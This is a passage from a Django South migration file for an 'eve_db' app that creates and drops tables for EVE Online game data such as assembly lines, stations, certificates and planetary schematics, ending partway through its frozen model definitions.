# Adding model 'RamActivity'
db.create_table('eve_db_ramactivity', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=75, blank=True)),
('description', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
('icon_filename', self.gf('django.db.models.fields.CharField')(max_length=50, blank=True)),
('is_published', self.gf('django.db.models.fields.BooleanField')(default=True)),
))
db.send_create_signal('eve_db', ['RamActivity'])
# Adding model 'RamAssemblyLineType'
db.create_table('eve_db_ramassemblylinetype', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
('description', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
('base_time_multiplier', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('base_material_multiplier', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('volume', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('activity', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.RamActivity'], null=True, blank=True)),
('min_cost_per_hour', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['RamAssemblyLineType'])
# Adding model 'RamAssemblyLine'
db.create_table('eve_db_ramassemblyline', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('assembly_line_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.RamAssemblyLineType'], null=True, blank=True)),
('station', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.StaStation'], null=True, blank=True)),
('ui_grouping_id', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('cost_install', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('cost_per_hour', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('discount_per_good_standing_point', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('surcharge_per_bad_standing_point', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('minimum_standing', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('minimum_char_security', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('minimum_corp_security', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('maximum_char_security', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('maximum_corp_security', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('owner', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCCorporation'], null=True, blank=True)),
('activity', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.RamActivity'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['RamAssemblyLine'])
# Adding model 'RamAssemblyLineTypeDetailPerCategory'
db.create_table('eve_db_ramassemblylinetypedetailpercategory', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('assembly_line_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.RamAssemblyLineType'])),
('category', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvCategory'])),
('time_multiplier', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('material_multiplier', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['RamAssemblyLineTypeDetailPerCategory'])
# Adding unique constraint on 'RamAssemblyLineTypeDetailPerCategory', fields ['assembly_line_type', 'category']
db.create_unique('eve_db_ramassemblylinetypedetailpercategory', ['assembly_line_type_id', 'category_id'])
# Adding model 'RamAssemblyLineTypeDetailPerGroup'
db.create_table('eve_db_ramassemblylinetypedetailpergroup', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('assembly_line_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.RamAssemblyLineType'])),
('group', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvGroup'])),
('time_multiplier', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('material_multiplier', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['RamAssemblyLineTypeDetailPerGroup'])
# Adding unique constraint on 'RamAssemblyLineTypeDetailPerGroup', fields ['assembly_line_type', 'group']
db.create_unique('eve_db_ramassemblylinetypedetailpergroup', ['assembly_line_type_id', 'group_id'])
# Adding model 'RamAssemblyLineStations'
db.create_table('eve_db_ramassemblylinestations', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('station', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.StaStation'])),
('assembly_line_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.RamAssemblyLineType'])),
('quantity', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('station_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.StaStationType'], null=True, blank=True)),
('owner', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCCorporation'], null=True, blank=True)),
('solar_system', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapSolarSystem'], null=True, blank=True)),
('region', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapRegion'], null=True, blank=True)),
))
db.send_create_signal('eve_db', ['RamAssemblyLineStations'])
# Adding unique constraint on 'RamAssemblyLineStations', fields ['station', 'assembly_line_type']
db.create_unique('eve_db_ramassemblylinestations', ['station_id', 'assembly_line_type_id'])
# Adding model 'RamTypeRequirement'
db.create_table('eve_db_ramtyperequirement', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='type_requirement', to=orm['eve_db.InvType'])),
('activity_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.RamActivity'])),
('required_type', self.gf('django.db.models.fields.related.ForeignKey')(related_name='required_type', to=orm['eve_db.InvType'])),
('quantity', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('damage_per_job', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('recycle', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal('eve_db', ['RamTypeRequirement'])
# Adding unique constraint on 'RamTypeRequirement', fields ['type', 'activity_type', 'required_type']
db.create_unique('eve_db_ramtyperequirement', ['type_id', 'activity_type_id', 'required_type_id'])
# Adding model 'StaService'
db.create_table('eve_db_staservice', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=100)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal('eve_db', ['StaService'])
# Adding model 'StaStationType'
db.create_table('eve_db_stastationtype', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('docking_bay_graphic', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='docking_bay_graphic', null=True, to=orm['eve_db.EveGraphic'])),
('hangar_graphic', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='hangar_graphic', null=True, to=orm['eve_db.EveGraphic'])),
('dock_entry_x', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('dock_orientation_x', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('dock_entry_y', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('dock_orientation_y', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('dock_entry_z', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('dock_orientation_z', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('operation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.StaOperation'], null=True, blank=True)),
('office_slots', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('reprocessing_efficiency', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('is_conquerable', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal('eve_db', ['StaStationType'])
# Adding model 'StaOperation'
db.create_table('eve_db_staoperation', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('activity_id', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
('fringe', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('corridor', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('hub', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('border', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('ratio', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('caldari_station_type', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='caldari_station_operation_set', null=True, to=orm['eve_db.StaStationType'])),
('minmatar_station_type', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='minmatar_station_operation_set', null=True, to=orm['eve_db.StaStationType'])),
('amarr_station_type', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='amarr_station_operation_set', null=True, to=orm['eve_db.StaStationType'])),
('gallente_station_type', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='gallente_station_operation_set', null=True, to=orm['eve_db.StaStationType'])),
('jove_station_type', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='jove_station_operation_set', null=True, to=orm['eve_db.StaStationType'])),
))
db.send_create_signal('eve_db', ['StaOperation'])
# Adding model 'StaStation'
db.create_table('eve_db_stastation', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('security', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('docking_cost_per_volume', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('max_ship_volume_dockable', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('office_rental_cost', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('operation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.StaOperation'], null=True, blank=True)),
('type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.StaStationType'], null=True, blank=True)),
('corporation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCCorporation'], null=True, blank=True)),
('solar_system', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapSolarSystem'], null=True, blank=True)),
('constellation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapConstellation'], null=True, blank=True)),
('region', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.MapRegion'], null=True, blank=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=100, blank=True)),
('x', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('y', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('z', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('reprocessing_efficiency', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('reprocessing_stations_take', self.gf('django.db.models.fields.FloatField')(null=True, blank=True)),
('reprocessing_hangar_flag', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['StaStation'])
# Adding model 'StaOperationServices'
db.create_table('eve_db_staoperationservices', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('operation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.StaOperation'])),
('service', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.StaService'])),
))
db.send_create_signal('eve_db', ['StaOperationServices'])
# Adding unique constraint on 'StaOperationServices', fields ['operation', 'service']
db.create_unique('eve_db_staoperationservices', ['operation_id', 'service_id'])
# Adding model 'CrtCategory'
db.create_table('eve_db_crtcategory', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal('eve_db', ['CrtCategory'])
# Adding model 'CrtClass'
db.create_table('eve_db_crtclass', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal('eve_db', ['CrtClass'])
# Adding model 'CrtCertificate'
db.create_table('eve_db_crtcertificate', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('category', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrtCategory'], null=True, blank=True)),
('cert_class', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrtClass'], null=True, blank=True)),
('grade', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('corporation', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrpNPCCorporation'], null=True, blank=True)),
('icon_num', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('description', self.gf('django.db.models.fields.TextField')(blank=True)),
))
db.send_create_signal('eve_db', ['CrtCertificate'])
# Adding model 'CrtRelationship'
db.create_table('eve_db_crtrelationship', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('parent', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='parent_crtrelationship_set', null=True, to=orm['eve_db.CrtCertificate'])),
('parent_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'], null=True, blank=True)),
('parent_level', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('child', self.gf('django.db.models.fields.related.ForeignKey')(blank=True, related_name='child_crtrelationship_set', null=True, to=orm['eve_db.CrtCertificate'])),
))
db.send_create_signal('eve_db', ['CrtRelationship'])
# Adding model 'CrtRecommendation'
db.create_table('eve_db_crtrecommendation', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('ship_type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'], null=True, blank=True)),
('certificate', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.CrtCertificate'], null=True, blank=True)),
('recommendation_level', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['CrtRecommendation'])
# Adding model 'PlanetSchematic'
db.create_table('eve_db_planetschematic', (
('id', self.gf('django.db.models.fields.IntegerField')(unique=True, primary_key=True)),
('name', self.gf('django.db.models.fields.CharField')(max_length=255, null=True, blank=True)),
('cycle_time', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
))
db.send_create_signal('eve_db', ['PlanetSchematic'])
# Adding model 'PlanetSchematicsPinMap'
db.create_table('eve_db_planetschematicspinmap', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('schematic', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.PlanetSchematic'])),
('type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'])),
))
db.send_create_signal('eve_db', ['PlanetSchematicsPinMap'])
# Adding unique constraint on 'PlanetSchematicsPinMap', fields ['schematic', 'type']
db.create_unique('eve_db_planetschematicspinmap', ['schematic_id', 'type_id'])
# Adding model 'PlanetSchematicsTypeMap'
db.create_table('eve_db_planetschematicstypemap', (
('id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),
('schematic', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.PlanetSchematic'])),
('type', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['eve_db.InvType'])),
('quantity', self.gf('django.db.models.fields.IntegerField')(null=True, blank=True)),
('is_input', self.gf('django.db.models.fields.BooleanField')(default=False)),
))
db.send_create_signal('eve_db', ['PlanetSchematicsTypeMap'])
# Adding unique constraint on 'PlanetSchematicsTypeMap', fields ['schematic', 'type']
db.create_unique('eve_db_planetschematicstypemap', ['schematic_id', 'type_id'])
def backwards(self, orm):
# Removing unique constraint on 'PlanetSchematicsTypeMap', fields ['schematic', 'type']
db.delete_unique('eve_db_planetschematicstypemap', ['schematic_id', 'type_id'])
# Removing unique constraint on 'PlanetSchematicsPinMap', fields ['schematic', 'type']
db.delete_unique('eve_db_planetschematicspinmap', ['schematic_id', 'type_id'])
# Removing unique constraint on 'StaOperationServices', fields ['operation', 'service']
db.delete_unique('eve_db_staoperationservices', ['operation_id', 'service_id'])
# Removing unique constraint on 'RamTypeRequirement', fields ['type', 'activity_type', 'required_type']
db.delete_unique('eve_db_ramtyperequirement', ['type_id', 'activity_type_id', 'required_type_id'])
# Removing unique constraint on 'RamAssemblyLineStations', fields ['station', 'assembly_line_type']
db.delete_unique('eve_db_ramassemblylinestations', ['station_id', 'assembly_line_type_id'])
# Removing unique constraint on 'RamAssemblyLineTypeDetailPerGroup', fields ['assembly_line_type', 'group']
db.delete_unique('eve_db_ramassemblylinetypedetailpergroup', ['assembly_line_type_id', 'group_id'])
# Removing unique constraint on 'RamAssemblyLineTypeDetailPerCategory', fields ['assembly_line_type', 'category']
db.delete_unique('eve_db_ramassemblylinetypedetailpercategory', ['assembly_line_type_id', 'category_id'])
# Removing unique constraint on 'AgtConfig', fields ['agent', 'key']
db.delete_unique('eve_db_agtconfig', ['agent_id', 'key'])
# Removing unique constraint on 'CrpNPCCorporationResearchField', fields ['skill', 'corporation']
db.delete_unique('eve_db_crpnpccorporationresearchfield', ['skill_id', 'corporation_id'])
# Removing unique constraint on 'CrpNPCCorporationTrade', fields ['corporation', 'type']
db.delete_unique('eve_db_crpnpccorporationtrade', ['corporation_id', 'type_id'])
# Removing unique constraint on 'CrpNPCCorporationDivision', fields ['corporation', 'division']
db.delete_unique('eve_db_crpnpccorporationdivision', ['corporation_id', 'division_id'])
# Removing unique constraint on 'MapSolarSystemJump', fields ['from_solar_system', 'to_solar_system']
db.delete_unique('eve_db_mapsolarsystemjump', ['from_solar_system_id', 'to_solar_system_id'])
# Removing unique constraint on 'MapConstellationJump', fields ['from_constellation', 'to_constellation']
db.delete_unique('eve_db_mapconstellationjump', ['from_constellation_id', 'to_constellation_id'])
# Removing unique constraint on 'MapRegionJump', fields ['from_region', 'to_region']
db.delete_unique('eve_db_mapregionjump', ['from_region_id', 'to_region_id'])
# Removing unique constraint on 'InvContrabandType', fields ['faction', 'type']
db.delete_unique('eve_db_invcontrabandtype', ['faction_id', 'type_id'])
# Removing unique constraint on 'InvTypeReaction', fields ['reaction_type', 'input', 'type']
db.delete_unique('eve_db_invtypereaction', ['reaction_type_id', 'input', 'type_id'])
# Removing unique constraint on 'InvPOSResource', fields ['control_tower_type', 'resource_type']
db.delete_unique('eve_db_invposresource', ['control_tower_type_id', 'resource_type_id'])
# Removing unique constraint on 'DgmTypeEffect', fields ['type', 'effect']
db.delete_unique('eve_db_dgmtypeeffect', ['type_id', 'effect_id'])
# Removing unique constraint on 'DgmTypeAttribute', fields ['inventory_type', 'attribute']
db.delete_unique('eve_db_dgmtypeattribute', ['inventory_type_id', 'attribute_id'])
# Removing unique constraint on 'InvTypeMaterial', fields ['type', 'material_type']
db.delete_unique('eve_db_invtypematerial', ['type_id', 'material_type_id'])
# Deleting model 'EveName'
db.delete_table('eve_db_evename')
# Deleting model 'EveUnit'
db.delete_table('eve_db_eveunit')
# Deleting model 'EveIcon'
db.delete_table('eve_db_eveicon')
# Deleting model 'EveGraphic'
db.delete_table('eve_db_evegraphic')
# Deleting model 'InvMarketGroup'
db.delete_table('eve_db_invmarketgroup')
# Deleting model 'InvCategory'
db.delete_table('eve_db_invcategory')
# Deleting model 'InvGroup'
db.delete_table('eve_db_invgroup')
# Deleting model 'InvMetaGroup'
db.delete_table('eve_db_invmetagroup')
# Deleting model 'InvType'
db.delete_table('eve_db_invtype')
# Deleting model 'InvTypeMaterial'
db.delete_table('eve_db_invtypematerial')
# Deleting model 'InvMetaType'
db.delete_table('eve_db_invmetatype')
# Deleting model 'InvFlag'
db.delete_table('eve_db_invflag')
# Deleting model 'DgmAttributeCategory'
db.delete_table('eve_db_dgmattributecategory')
# Deleting model 'DgmAttributeType'
db.delete_table('eve_db_dgmattributetype')
# Deleting model 'DgmTypeAttribute'
db.delete_table('eve_db_dgmtypeattribute')
# Deleting model 'InvBlueprintType'
db.delete_table('eve_db_invblueprinttype')
# Deleting model 'DgmEffect'
db.delete_table('eve_db_dgmeffect')
# Deleting model 'DgmTypeEffect'
db.delete_table('eve_db_dgmtypeeffect')
# Deleting model 'InvPOSResourcePurpose'
db.delete_table('eve_db_invposresourcepurpose')
# Deleting model 'InvPOSResource'
db.delete_table('eve_db_invposresource')
# Deleting model 'InvTypeReaction'
db.delete_table('eve_db_invtypereaction')
# Deleting model 'InvContrabandType'
db.delete_table('eve_db_invcontrabandtype')
# Deleting model 'MapUniverse'
db.delete_table('eve_db_mapuniverse')
# Deleting model 'MapRegion'
db.delete_table('eve_db_mapregion')
# Deleting model 'MapRegionJump'
db.delete_table('eve_db_mapregionjump')
# Deleting model 'MapConstellation'
db.delete_table('eve_db_mapconstellation')
# Deleting model 'MapConstellationJump'
db.delete_table('eve_db_mapconstellationjump')
# Deleting model 'MapSolarSystem'
db.delete_table('eve_db_mapsolarsystem')
# Deleting model 'MapSolarSystemJump'
db.delete_table('eve_db_mapsolarsystemjump')
# Deleting model 'MapJump'
db.delete_table('eve_db_mapjump')
# Deleting model 'MapCelestialStatistic'
db.delete_table('eve_db_mapcelestialstatistic')
# Deleting model 'MapDenormalize'
db.delete_table('eve_db_mapdenormalize')
# Deleting model 'MapLandmark'
db.delete_table('eve_db_maplandmark')
# Deleting model 'ChrRace'
db.delete_table('eve_db_chrrace')
# Deleting model 'ChrBloodline'
db.delete_table('eve_db_chrbloodline')
# Deleting model 'ChrAncestry'
db.delete_table('eve_db_chrancestry')
# Deleting model 'ChrAttribute'
db.delete_table('eve_db_chrattribute')
# Deleting model 'ChrFaction'
db.delete_table('eve_db_chrfaction')
# Deleting model 'CrpActivity'
db.delete_table('eve_db_crpactivity')
# Deleting model 'CrpNPCCorporation'
db.delete_table('eve_db_crpnpccorporation')
# Deleting model 'CrpNPCDivision'
db.delete_table('eve_db_crpnpcdivision')
# Deleting model 'CrpNPCCorporationDivision'
db.delete_table('eve_db_crpnpccorporationdivision')
# Deleting model 'CrpNPCCorporationTrade'
db.delete_table('eve_db_crpnpccorporationtrade')
# Deleting model 'CrpNPCCorporationResearchField'
db.delete_table('eve_db_crpnpccorporationresearchfield')
# Deleting model 'AgtAgentType'
db.delete_table('eve_db_agtagenttype')
# Deleting model 'AgtAgent'
db.delete_table('eve_db_agtagent')
# Deleting model 'AgtConfig'
db.delete_table('eve_db_agtconfig')
# Deleting model 'RamActivity'
db.delete_table('eve_db_ramactivity')
# Deleting model 'RamAssemblyLineType'
db.delete_table('eve_db_ramassemblylinetype')
# Deleting model 'RamAssemblyLine'
db.delete_table('eve_db_ramassemblyline')
# Deleting model 'RamAssemblyLineTypeDetailPerCategory'
db.delete_table('eve_db_ramassemblylinetypedetailpercategory')
# Deleting model 'RamAssemblyLineTypeDetailPerGroup'
db.delete_table('eve_db_ramassemblylinetypedetailpergroup')
# Deleting model 'RamAssemblyLineStations'
db.delete_table('eve_db_ramassemblylinestations')
# Deleting model 'RamTypeRequirement'
db.delete_table('eve_db_ramtyperequirement')
# Deleting model 'StaService'
db.delete_table('eve_db_staservice')
# Deleting model 'StaStationType'
db.delete_table('eve_db_stastationtype')
# Deleting model 'StaOperation'
db.delete_table('eve_db_staoperation')
# Deleting model 'StaStation'
db.delete_table('eve_db_stastation')
# Deleting model 'StaOperationServices'
db.delete_table('eve_db_staoperationservices')
# Deleting model 'CrtCategory'
db.delete_table('eve_db_crtcategory')
# Deleting model 'CrtClass'
db.delete_table('eve_db_crtclass')
# Deleting model 'CrtCertificate'
db.delete_table('eve_db_crtcertificate')
# Deleting model 'CrtRelationship'
db.delete_table('eve_db_crtrelationship')
# Deleting model 'CrtRecommendation'
db.delete_table('eve_db_crtrecommendation')
# Deleting model 'PlanetSchematic'
db.delete_table('eve_db_planetschematic')
# Deleting model 'PlanetSchematicsPinMap'
db.delete_table('eve_db_planetschematicspinmap')
# Deleting model 'PlanetSchematicsTypeMap'
db.delete_table('eve_db_planetschematicstypemap')
models = {
'eve_db.agtagent': {
'Meta': {'ordering': "['id']", 'object_name': 'AgtAgent'},
'corporation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCCorporation']", 'null': 'True', 'blank': 'True'}),
'division': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCDivision']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'level': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'location': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.MapDenormalize']", 'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'quality': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}),
'type': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.AgtAgentType']", 'null': 'True', 'blank': 'True'})
},
'eve_db.agtagenttype': {
'Meta': {'ordering': "['id']", 'object_name': 'AgtAgentType'},
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255'})
},
'eve_db.agtconfig': {
'Meta': {'ordering': "['id']", 'unique_together': "(('agent', 'key'),)", 'object_name': 'AgtConfig'},
'agent': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.AgtAgent']"}),
'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'key': ('django.db.models.fields.CharField', [], {'max_length': '255'}),
'value': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'})
},
'eve_db.chrancestry': {
'Meta': {'ordering': "['id']", 'object_name': 'ChrAncestry'},
'bloodline': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.ChrBloodline']", 'null': 'True', 'blank': 'True'}),
'charisma_bonus': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'intelligence_bonus': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'memory_bonus': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'perception_bonus': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'short_description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'willpower_bonus': ('django.db.models.fields.IntegerField', [], {'default': '0'})
},
'eve_db.chrattribute': {
'Meta': {'ordering': "['id']", 'object_name': 'ChrAttribute'},
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'notes': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'short_description': ('django.db.models.fields.TextField', [], {'blank': 'True'})
},
'eve_db.chrbloodline': {
'Meta': {'ordering': "['id']", 'object_name': 'ChrBloodline'},
'corporation': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.CrpNPCCorporation']", 'null': 'True', 'blank': 'True'}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'female_description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'icon': ('django.db.models.fields.related.ForeignKey', [], {'to': "orm['eve_db.EveIcon']", 'null': 'True', 'blank': 'True'}),
'id': ('django.db.models.fields.IntegerField', [], {'unique': 'True', 'primary_key': 'True'}),
'male_description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'blank': 'True'}),
'race': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'bloodline_set'", 'null': 'True', 'to': "orm['eve_db.ChrRace']"}),
'short_description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'short_female_description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'short_male_description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
'starter_ship_type': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'bloodline_starter_ship_set'", 'null': 'True', 'to': "orm['eve_db.InvType']"}),
'starting_charisma': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'starting_intelligence': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'starting_memory': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'starting_perception': ('django.db.models.fields.IntegerField', [], {'default': '0'}),
'starting_willpower': ('django.db.models.fields.IntegerField', [], {'default': '0'})
},
'eve_db.chrfaction': {
'Meta': {'ordering': "['id']", 'object_name': 'ChrFaction'},
'corporation': ('django.db.models.fields.related.ForeignKey', [], {'blank': 'True', 'related_name': "'faction_set'", 'null': 'True', 'to': "orm['eve_db.CrpNPCCorporation']"}),
'description': ('django.db.models.fields.TextField', [], {'blank': 'True'}),
